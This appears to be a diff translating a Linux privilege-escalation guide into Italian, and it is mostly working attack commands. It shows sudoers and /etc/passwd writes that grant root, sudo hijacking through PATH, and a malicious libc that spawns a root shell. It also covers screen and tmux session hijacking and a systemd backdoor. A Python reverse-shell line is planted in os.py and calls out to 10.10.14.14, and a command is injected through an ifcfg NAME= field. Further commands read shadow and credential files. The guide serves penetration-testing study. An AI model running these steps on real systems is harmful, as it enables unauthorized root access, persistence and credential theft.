_/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza bisogno di conoscere la password eseguendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` - ### /etc/sudoers, /etc/sudoers.d -The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. These files **by default can only be read by user root and group root**.\ -**If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. - +Il file `/etc/sudoers` e i file all'interno di `/etc/sudoers.d` configurano chi può usare `sudo` e come. Questi file **di default possono essere letti solo dall'utente root e dal gruppo root**.\ +**Se** puoi **leggere** questo file potresti essere in grado di **ottenere alcune informazioni interessanti**, e se puoi **scrivere** qualsiasi file sarai in grado di **escalare i privilegi**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` - -If you can write you can abuse this permission - +Se puoi scrivere, puoi abusare di questo permesso. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` - -Another way to abuse these permissions: - +Un altro modo per abusare di questi permessi: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win # makes it so sudo never times out echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` - ### DOAS -There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` - +Ci sono alcune alternative al binario `sudo` come `doas` per OpenBSD, ricorda di controllare la sua configurazione in `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` - ### Sudo Hijacking -If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the user's command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. +Se sai che un **utente di solito si connette a una macchina e utilizza `sudo`** per elevare i privilegi e hai ottenuto una shell all'interno di quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, il tuo eseguibile sudo venga eseguito. -Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) - -Or running something like: +Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +O eseguendo qualcosa come: ```bash cat >/tmp/sudo < (0x0068c000) - libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x005bb000) +linux-gate.so.1 => (0x0068c000) +libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x005bb000) ``` - -By copying the lib into `/var/tmp/flag15/` it will be used by the program in this place as specified in the `RPATH` variable. - +Copiare la lib in `/var/tmp/flag15/` verrà utilizzata dal programma in questo luogo come specificato nella variabile `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ ldd ./flag15 - linux-gate.so.1 => (0x005b0000) - libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) - /lib/ld-linux.so.2 (0x00737000) +linux-gate.so.1 => (0x005b0000) +libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) +/lib/ld-linux.so.2 (0x00737000) ``` - -Then create an evil library in `/var/tmp` with `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` - +Poi crea una libreria maligna in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) { - char *file = SHELL; - char *argv[] = {SHELL,0}; - setresuid(geteuid(),geteuid(), geteuid()); - execve(file,argv,0); +char *file = SHELL; +char *argv[] = {SHELL,0}; +setresuid(geteuid(),geteuid(), geteuid()); +execve(file,argv,0); } ``` +## Capacità -## Capabilities - -Linux capabilities provide a **subset of the available root privileges to a process**. This effectively breaks up root **privileges into smaller and distinctive units**. Each of these units can then be independently granted to processes. This way the full set of privileges is reduced, decreasing the risks of exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Le capacità di Linux forniscono un **sottoinsieme dei privilegi di root disponibili a un processo**. Questo rompe efficacemente i privilegi di root **in unità più piccole e distintive**. Ognuna di queste unità può quindi essere concessa indipendentemente ai processi. In questo modo, l'insieme completo di privilegi è ridotto, diminuendo i rischi di sfruttamento.\ +Leggi la pagina seguente per **scoprire di più sulle capacità e su come abusarne**: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## Permessi di directory -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +In una directory, il **bit per "eseguire"** implica che l'utente interessato può "**cd**" nella cartella.\ +Il bit **"leggi"** implica che l'utente può **elencare** i **file**, e il bit **"scrivi"** implica che l'utente può **cancellare** e **creare** nuovi **file**. -## ACLs +## ACL -Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). - -**Give** user "kali" read and write permissions over a file: +Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux). +**Dai** all'utente "kali" permessi di lettura e scrittura su un file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` - -**Get** files with specific ACLs from the system: - +**Ottieni** file con ACL specifiche dal sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` +## Aprire sessioni shell -## Open shell sessions +In **versioni vecchie** puoi **dirottare** alcune sessioni **shell** di un altro utente (**root**).\ +Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. -In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ -In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. - -### screen sessions hijacking - -**List screen sessions** +### dirottamento delle sessioni screen +**Elenca le sessioni screen** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` - ![](<../../images/image (141).png>) -**Attach to a session** - +**Collegati a una sessione** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` +## dirottamento delle sessioni tmux -## tmux sessions hijacking - -This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. - -**List tmux sessions** +Questo era un problema con **vecchie versioni di tmux**. Non sono riuscito a dirottare una sessione tmux (v2.1) creata da root come utente non privilegiato. +**Elenca le sessioni tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` - ![](<../../images/image (837).png>) -**Attach to a session** - +**Collegati a una sessione** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1296,149 +1113,125 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` - -Check **Valentine box from HTB** for an example. +Controlla **Valentine box from HTB** per un esempio. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Tutti i certificati SSL e le chiavi SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affetti da questo bug.\ +Questo bug si verifica quando si crea una nuova chiave ssh in quegli OS, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Interesting configuration values +### Valori di configurazione SSH interessanti -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication:** Specifica se l'autenticazione tramite password è consentita. Il valore predefinito è `no`. +- **PubkeyAuthentication:** Specifica se l'autenticazione tramite chiave pubblica è consentita. Il valore predefinito è `yes`. +- **PermitEmptyPasswords**: Quando l'autenticazione tramite password è consentita, specifica se il server consente l'accesso a account con stringhe di password vuote. Il valore predefinito è `no`. ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +Specifica se l'utente root può accedere utilizzando ssh, il valore predefinito è `no`. Valori possibili: -- `yes`: root can login using password and private key -- `without-password` or `prohibit-password`: root can only login with a private key -- `forced-commands-only`: Root can login only using private key and if the commands options are specified +- `yes`: root può accedere utilizzando password e chiave privata +- `without-password` o `prohibit-password`: root può accedere solo con una chiave privata +- `forced-commands-only`: Root può accedere solo utilizzando la chiave privata e se le opzioni dei comandi sono specificate - `no` : no ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: - +Specifica i file che contengono le chiavi pubbliche che possono essere utilizzate per l'autenticazione dell'utente. Può contenere token come `%h`, che verrà sostituito dalla directory home. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Ad esempio: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` - -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +Quella configurazione indicherà che se provi a effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua chiave con quelle situate in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. - -You need to set this option in `$HOME/.ssh.config` like this: +Il forwarding dell'agente SSH ti consente di **utilizzare le tue chiavi SSH locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi, sarai in grado di **saltare** via ssh **verso un host** e da lì **saltare verso un altro** host **utilizzando** la **chiave** situata nel tuo **host iniziale**. +Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo: ``` Host example.com - ForwardAgent yes +ForwardAgent yes ``` +Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quell'host sarà in grado di accedere alle chiavi (il che è un problema di sicurezza). -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\ +Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito). -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). - -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +Se scopri che il Forward Agent è configurato in un ambiente leggi la seguente pagina in quanto **potresti essere in grado di abusarne per escalare i privilegi**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## File Interessanti -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +### File di Profili +Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi puoi escalare i privilegi**. ```bash ls -l /etc/profile /etc/profile.d/ ``` +Se viene trovato uno strano script di profilo, dovresti controllarlo per **dettagli sensibili**. -If any weird profile script is found you should check it for **sensitive details**. - -### Passwd/Shadow Files - -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: +### File Passwd/Shadow +A seconda del sistema operativo, i file `/etc/passwd` e `/etc/shadow` potrebbero avere un nome diverso o potrebbe esserci un backup. Pertanto, è consigliato **trovare tutti** e **controllare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` - -In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file - +In alcune occasioni puoi trovare **password hashes** all'interno del file `/etc/passwd` (o equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` - ### Writable /etc/passwd -First, generate a password with one of the following commands. - +Prima di tutto, genera una password con uno dei seguenti comandi. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` - -Then add the user `hacker` and add the generated password. - +Quindi aggiungi l'utente `hacker` e aggiungi la password generata. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` - E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -You can now use the `su` command with `hacker:hacker` - -Alternatively, you can use the following lines to add a dummy user without a password.\ -WARNING: you might degrade the current security of the machine. +Puoi ora utilizzare il comando `su` con `hacker:hacker` +In alternativa, puoi utilizzare le seguenti righe per aggiungere un utente fittizio senza password.\ +ATTENZIONE: potresti degradare la sicurezza attuale della macchina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` +NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. - -You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? - +Dovresti controllare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione del servizio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` - -For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: - +Ad esempio, se la macchina sta eseguendo un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat all'interno di /etc/systemd/,** allora puoi modificare le righe: ``` ExecStart=/path/to/backdoor User=root Group=root ``` +Il tuo backdoor verrà eseguito la prossima volta che tomcat verrà avviato. -Your backdoor will be executed the next time that tomcat is started. - -### Check Folders - -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) +### Controlla le Cartelle +Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non sarai in grado di leggere l'ultima, ma prova) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` - -### Weird Location/Owned files - +### Posizioni strane/File di proprietà ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1450,77 +1243,59 @@ find / -type f -user root ! -perm -o=r 2>/dev/null find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; - do printf " Group $g:\n"; - find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null - done +do printf " Group $g:\n"; +find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null +done done ``` - -### Modified files in last mins - +### File modificati negli ultimi minuti ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` - -### Sqlite DB files - +### File DB Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` - -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files - +### \*\_storia, .sudo_as_admin_successful, profilo, bashrc, httpd.conf, .piano, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml file ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` - -### Hidden files - +### File nascosti ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` - -### **Script/Binaries in PATH** - +### **Script/Binaries nel PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` - -### **Web files** - +### **File web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` - -### **Backups** - +### **Backup** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` +### File conosciuti contenenti password -### Known files containing passwords +Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file possibili che potrebbero contenere password**.\ +**Un altro strumento interessante** che puoi usare per farlo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source utilizzata per recuperare molte password memorizzate su un computer locale per Windows, Linux e Mac. -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ -**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. - -### Logs - -If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +### Log +Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\ +Inoltre, alcuni log di **audit** **"mal configurati"** (con backdoor?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` +Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/#adm-group) sarà davvero utile. -In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. - -### Shell files - +### File shell ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1531,74 +1306,67 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` - ### Generic Creds Search/Regex -You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ -I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regex di hash.\ +Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue. ## Writable files ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). +Per **backdoorare la libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` - ### Logrotate exploitation -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory padre di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. > [!NOTE] -> This vulnerability affects `logrotate` version `3.18.0` and older +> Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Informazioni più dettagliate sulla vulnerabilità possono essere trovate su questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi elevare i privilegi sostituendo i log con symlink. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Riferimento vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. - -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Nel mio caso, l'attributo `NAME=` in questi script di rete non è gestito correttamente. Se hai **spazio bianco/vuoto nel nome, il sistema tenta di eseguire la parte dopo lo spazio bianco/vuoto**. Questo significa che **tutto dopo il primo spazio vuoto viene eseguito come root**. +Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +### **init, init.d, systemd e rc.d** -(_Note the blank space between Network and /bin/id_) +La directory `/etc/init.d` è la casa di **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `avviare`, `fermare`, `riavviare` e talvolta `ricaricare` i servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. -### **init, init.d, systemd, and rc.d** +D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione dei servizi** più recente introdotto da Ubuntu, che utilizza file di configurazione per compiti di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un layer di compatibilità in Upstart. -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +**systemd** emerge come un moderno gestore di inizializzazione e servizi, offrendo funzionalità avanzate come l'avvio di demoni su richiesta, la gestione dell'automount e snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche degli amministratori, semplificando il processo di amministrazione del sistema. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +## Altri Trucchi -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. - -## Other Tricks - -### NFS Privilege escalation +### Escalation dei privilegi NFS {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### 